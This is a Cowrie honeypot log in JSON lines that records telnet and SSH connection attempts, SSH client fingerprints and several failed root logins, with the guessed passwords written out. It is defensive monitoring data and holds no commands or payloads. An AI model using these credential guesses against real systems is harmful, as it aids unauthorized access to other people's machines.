{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":34146,"dst_ip":"159.203.135.109","dst_port":23,"session":"bc53770f58f4","protocol":"telnet","message":"New connection: 135.148.14.151:34146 (159.203.135.109:23) [session: bc53770f58f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:32:46.297975Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":35374,"dst_ip":"159.203.135.109","dst_port":23,"session":"998fb15f17d9","protocol":"telnet","message":"New connection: 135.148.14.151:35374 (159.203.135.109:23) [session: 998fb15f17d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:32:48.962156Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":48044,"dst_ip":"159.203.135.109","dst_port":23,"session":"809cfefdbaec","protocol":"telnet","message":"New connection: 135.148.14.151:48044 (159.203.135.109:23) [session: 809cfefdbaec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:33:15.989599Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":58538,"dst_ip":"159.203.135.109","dst_port":23,"session":"aac9c93e2acd","protocol":"telnet","message":"New connection: 135.148.14.151:58538 (159.203.135.109:23) [session: aac9c93e2acd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:33:16.621016Z"}
{"eventid":"cowrie.session.closed","duration":0.005181312561035156,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:33:16.626060Z","src_ip":"135.148.14.151","session":"aac9c93e2acd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.186604499816895,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:33:21.484458Z","src_ip":"135.148.14.151","session":"bc53770f58f4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.22446584701538,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:33:24.186386Z","src_ip":"135.148.14.151","session":"998fb15f17d9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":57218,"dst_ip":"159.203.135.109","dst_port":23,"session":"ea0df5ce256e","protocol":"telnet","message":"New connection: 135.148.14.151:57218 (159.203.135.109:23) [session: ea0df5ce256e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:33:37.378472Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.122.221.179","src_port":60866,"dst_ip":"159.203.135.109","dst_port":22,"session":"79c755a5d874","protocol":"ssh","message":"New connection: 103.122.221.179:60866 (159.203.135.109:22) [session: 79c755a5d874]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:33:51.421357Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:33:51.426173Z","src_ip":"103.122.221.179","session":"79c755a5d874","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:33:51.678193Z","src_ip":"103.122.221.179","session":"79c755a5d874","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"jhnjgtl12","message":"login attempt [root/jhnjgtl12] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:33:52.435745Z","src_ip":"103.122.221.179","session":"79c755a5d874","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.072362422943115,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:33:53.061840Z","src_ip":"135.148.14.151","session":"809cfefdbaec","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:33:53.691130Z","src_ip":"103.122.221.179","session":"79c755a5d874","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":44458,"dst_ip":"159.203.135.109","dst_port":23,"session":"a8337add09a8","protocol":"telnet","message":"New connection: 135.148.14.151:44458 (159.203.135.109:23) [session: a8337add09a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:34:08.271744Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":49036,"dst_ip":"159.203.135.109","dst_port":23,"session":"59dc93647af7","protocol":"telnet","message":"New connection: 135.148.14.151:49036 (159.203.135.109:23) [session: 59dc93647af7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:34:17.323616Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":49462,"dst_ip":"159.203.135.109","dst_port":23,"session":"864a57860ab1","protocol":"telnet","message":"New connection: 135.148.14.151:49462 (159.203.135.109:23) [session: 864a57860ab1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:34:18.328594Z"}
{"eventid":"cowrie.session.closed","duration":46.17553186416626,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:34:23.553885Z","src_ip":"135.148.14.151","session":"ea0df5ce256e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"115.220.58.170","src_port":53924,"dst_ip":"159.203.135.109","dst_port":23,"session":"437194bcaea4","protocol":"telnet","message":"New connection: 115.220.58.170:53924 (159.203.135.109:23) [session: 437194bcaea4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:34:28.937598Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.199.80","src_port":45874,"dst_ip":"10.17.0.5","dst_port":22,"session":"0dbe6d5b6354","protocol":"ssh","message":"New connection: 147.45.199.80:45874 (10.17.0.5:22) [session: 0dbe6d5b6354]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:34:39.493288Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:34:39.498155Z","src_ip":"147.45.199.80","session":"0dbe6d5b6354","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:34:39.597282Z","src_ip":"147.45.199.80","session":"0dbe6d5b6354","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"aezakmi12","message":"login attempt [root/aezakmi12] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:34:39.894599Z","src_ip":"147.45.199.80","session":"0dbe6d5b6354","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:34:40.997584Z","src_ip":"147.45.199.80","session":"0dbe6d5b6354","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":12.380993843078613,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:34:41.318463Z","src_ip":"115.220.58.170","session":"437194bcaea4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.990312814712524,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:34:43.261974Z","src_ip":"135.148.14.151","session":"a8337add09a8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.20.57","src_port":43170,"dst_ip":"10.17.0.5","dst_port":22,"session":"819d8a50682a","protocol":"ssh","message":"New connection: 103.176.20.57:43170 (10.17.0.5:22) [session: 819d8a50682a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:34:45.167952Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:34:45.172960Z","src_ip":"103.176.20.57","session":"819d8a50682a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:34:45.429373Z","src_ip":"103.176.20.57","session":"819d8a50682a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"mama1961","message":"login attempt [root/mama1961] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:34:46.200364Z","src_ip":"103.176.20.57","session":"819d8a50682a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:34:47.457938Z","src_ip":"103.176.20.57","session":"819d8a50682a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.68748688697815,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:34:52.010969Z","src_ip":"135.148.14.151","session":"59dc93647af7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.148146629333496,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:34:52.476611Z","src_ip":"135.148.14.151","session":"864a57860ab1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":49168,"dst_ip":"159.203.135.109","dst_port":23,"session":"c452253c8b1d","protocol":"telnet","message":"New connection: 135.148.14.151:49168 (159.203.135.109:23) [session: c452253c8b1d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:35:20.601310Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":50832,"dst_ip":"159.203.135.109","dst_port":23,"session":"ecef6e892f5a","protocol":"telnet","message":"New connection: 135.148.14.151:50832 (159.203.135.109:23) [session: ecef6e892f5a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:35:25.265601Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":59704,"dst_ip":"159.203.135.109","dst_port":23,"session":"7e8f31549703","protocol":"telnet","message":"New connection: 135.148.14.151:59704 (159.203.135.109:23) [session: 7e8f31549703]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:35:45.538008Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":35278,"dst_ip":"159.203.135.109","dst_port":23,"session":"a559d7a0e6f9","protocol":"telnet","message":"New connection: 135.148.14.151:35278 (159.203.135.109:23) [session: a559d7a0e6f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:35:54.381547Z"}
{"eventid":"cowrie.session.closed","duration":34.7467839717865,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:35:55.347967Z","src_ip":"135.148.14.151","session":"c452253c8b1d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.167017221450806,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:36:00.432498Z","src_ip":"135.148.14.151","session":"ecef6e892f5a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":40772,"dst_ip":"159.203.135.109","dst_port":23,"session":"4ee38631b4a1","protocol":"telnet","message":"New connection: 135.148.14.151:40772 (159.203.135.109:23) [session: 4ee38631b4a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:36:13.127430Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":47634,"dst_ip":"159.203.135.109","dst_port":23,"session":"ff6cc293d525","protocol":"telnet","message":"New connection: 135.148.14.151:47634 (159.203.135.109:23) [session: ff6cc293d525]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:36:21.199885Z"}
{"eventid":"cowrie.session.closed","duration":37.04733180999756,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:36:22.585222Z","src_ip":"135.148.14.151","session":"7e8f31549703","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":50740,"dst_ip":"159.203.135.109","dst_port":23,"session":"2609f0d79114","protocol":"telnet","message":"New connection: 135.148.14.151:50740 (159.203.135.109:23) [session: 2609f0d79114]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:36:28.803811Z"}
{"eventid":"cowrie.session.closed","duration":38.38099026679993,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:36:32.762376Z","src_ip":"135.148.14.151","session":"a559d7a0e6f9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.45602989196777,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:36:45.583341Z","src_ip":"135.148.14.151","session":"4ee38631b4a1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.222.183","src_port":48714,"dst_ip":"10.17.0.5","dst_port":22,"session":"947f678e0eaf","protocol":"ssh","message":"New connection: 103.15.222.183:48714 (10.17.0.5:22) [session: 947f678e0eaf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:36:54.382909Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:36:54.392730Z","src_ip":"103.15.222.183","session":"947f678e0eaf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:36:54.640916Z","src_ip":"103.15.222.183","session":"947f678e0eaf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"192837465a","message":"login attempt [root/192837465a] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:36:55.387295Z","src_ip":"103.15.222.183","session":"947f678e0eaf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:36:56.639351Z","src_ip":"103.15.222.183","session":"947f678e0eaf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":55388,"dst_ip":"159.203.135.109","dst_port":23,"session":"03a1122b20e4","protocol":"telnet","message":"New connection: 135.148.14.151:55388 (159.203.135.109:23) [session: 03a1122b20e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:36:56.781459Z"}
{"eventid":"cowrie.session.closed","duration":36.50995635986328,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:36:57.709709Z","src_ip":"135.148.14.151","session":"ff6cc293d525","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":37878,"dst_ip":"159.203.135.109","dst_port":23,"session":"38850197b29f","protocol":"telnet","message":"New connection: 135.148.14.151:37878 (159.203.135.109:23) [session: 38850197b29f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:37:03.448196Z"}
{"eventid":"cowrie.session.closed","duration":35.01297187805176,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:37:03.816657Z","src_ip":"135.148.14.151","session":"2609f0d79114","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":39748,"dst_ip":"159.203.135.109","dst_port":23,"session":"357a5abfb186","protocol":"telnet","message":"New connection: 135.148.14.151:39748 (159.203.135.109:23) [session: 357a5abfb186]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:37:06.904215Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":39232,"dst_ip":"159.203.135.109","dst_port":23,"session":"2f16c6eb7afe","protocol":"telnet","message":"New connection: 135.148.14.151:39232 (159.203.135.109:23) [session: 2f16c6eb7afe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:37:12.650915Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":43094,"dst_ip":"159.203.135.109","dst_port":23,"session":"93fdfc0e86bd","protocol":"telnet","message":"New connection: 135.148.14.151:43094 (159.203.135.109:23) [session: 93fdfc0e86bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:37:17.852206Z"}
{"eventid":"cowrie.session.closed","duration":31.30935573577881,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:37:28.090699Z","src_ip":"135.148.14.151","session":"03a1122b20e4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":52184,"dst_ip":"159.203.135.109","dst_port":23,"session":"b9b53836687b","protocol":"telnet","message":"New connection: 135.148.14.151:52184 (159.203.135.109:23) [session: b9b53836687b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:37:36.018192Z"}
{"eventid":"cowrie.session.closed","duration":35.720269203186035,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:37:39.168284Z","src_ip":"135.148.14.151","session":"38850197b29f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.637449979782104,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:37:42.541495Z","src_ip":"135.148.14.151","session":"357a5abfb186","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.64570498466492,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:37:45.296486Z","src_ip":"135.148.14.151","session":"2f16c6eb7afe","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.53016376495361,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:37:51.382228Z","src_ip":"135.148.14.151","session":"93fdfc0e86bd","protocol":"telnet"}
